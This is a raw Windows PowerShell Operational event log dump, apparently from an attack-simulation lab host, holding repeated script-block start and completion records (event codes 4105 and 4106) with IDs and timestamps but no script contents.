Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034199
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034197
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034196
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034179
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034173
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
